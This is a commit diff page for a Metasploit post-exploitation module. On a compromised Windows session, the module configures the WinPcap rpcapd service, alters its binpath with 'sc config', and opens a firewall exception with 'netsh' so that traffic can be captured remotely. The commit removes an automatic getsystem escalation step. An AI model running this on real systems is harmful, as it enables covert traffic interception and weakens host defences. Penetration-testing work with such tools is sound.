Skip to content

Commit eca8555

Browse files
committed
Applying changes
1 parent d16d004 commit eca8555

File tree

1 file changed

+6
-26
lines changed

1 file changed

+6
-26
lines changed

modules/post/windows/manage/rpcapd_start.rb

Lines changed: 6 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -39,15 +39,13 @@ def initialize(info={})
3939
[
4040
OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),
4141
OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]),
42-
OptBool.new('GETSYSTEM', [ true, 'Try to get System privilege.', true]),
4342
OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']),
4443
OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.',2002])
4544
], self.class)
4645
end
4746

4847
def run
49-
#Check platform to avoid problems with getsystem (e.g. java/java)
50-
if check_perm and client.platform =~ /win32|win64/i
48+
if is_admin?
5149
serv = service_info("rpcapd")
5250
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
5351

@@ -56,7 +54,7 @@ def run
5654
else
5755
print_status("Rpcap service found: #{serv['Name']}")
5856
reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
59-
prog=client.fs.file.expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe"
57+
prog=expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe"
6058
if reg != 2
6159
print_status("Setting rpcapd as 'auto' service")
6260
service_change_startup("rpcapd","auto")
@@ -76,31 +74,13 @@ def run
7674
run_rpcapd(p)
7775
end
7876
else
79-
print_error("You don't have enough privileges.")
80-
end
81-
end
82-
83-
def check_perm
84-
if !is_admin? and datastore['GETSYSTEM']==true
85-
print_status("Trying to get System privileges...")
86-
s = session.priv.getsystem
87-
if s[0]
88-
print_good("Got System")
89-
return true
90-
else
91-
print_error("Couldn't get System")
92-
return false
93-
end
94-
elsif !is_admin? and datastore['GETSYSTEM']==false
95-
return false
96-
else # is_admin? = true
97-
return true
77+
print_error("You don't have enough privileges. Try getsystem.")
9878
end
9979
end
10080

10181
def run_rpcapd(p)
10282
begin
103-
client.sys.process.execute("cmd.exe /c sc config rpcapd binpath= \"#{p}\" ",nil, {'Hidden' => 'true', 'Channelized' => true})
83+
cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30)
10484
result=service_start("rpcapd")
10585
case result
10686
when 0
@@ -121,8 +101,8 @@ def run_rpcapd(p)
121101
def fw_enable(prog)
122102
print_status ("Enabling rpcapd.exe in Windows Firewall")
123103
begin
124-
if (client.fs.file.exists?(prog))
125-
client.sys.process.execute("cmd.exe /c netsh firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE", nil, {'Hidden' => 'true', 'Channelized' => true})
104+
if file_exist?(prog)
105+
cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
126106
else
127107
print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
128108
end

0 commit comments

Comments
 (0)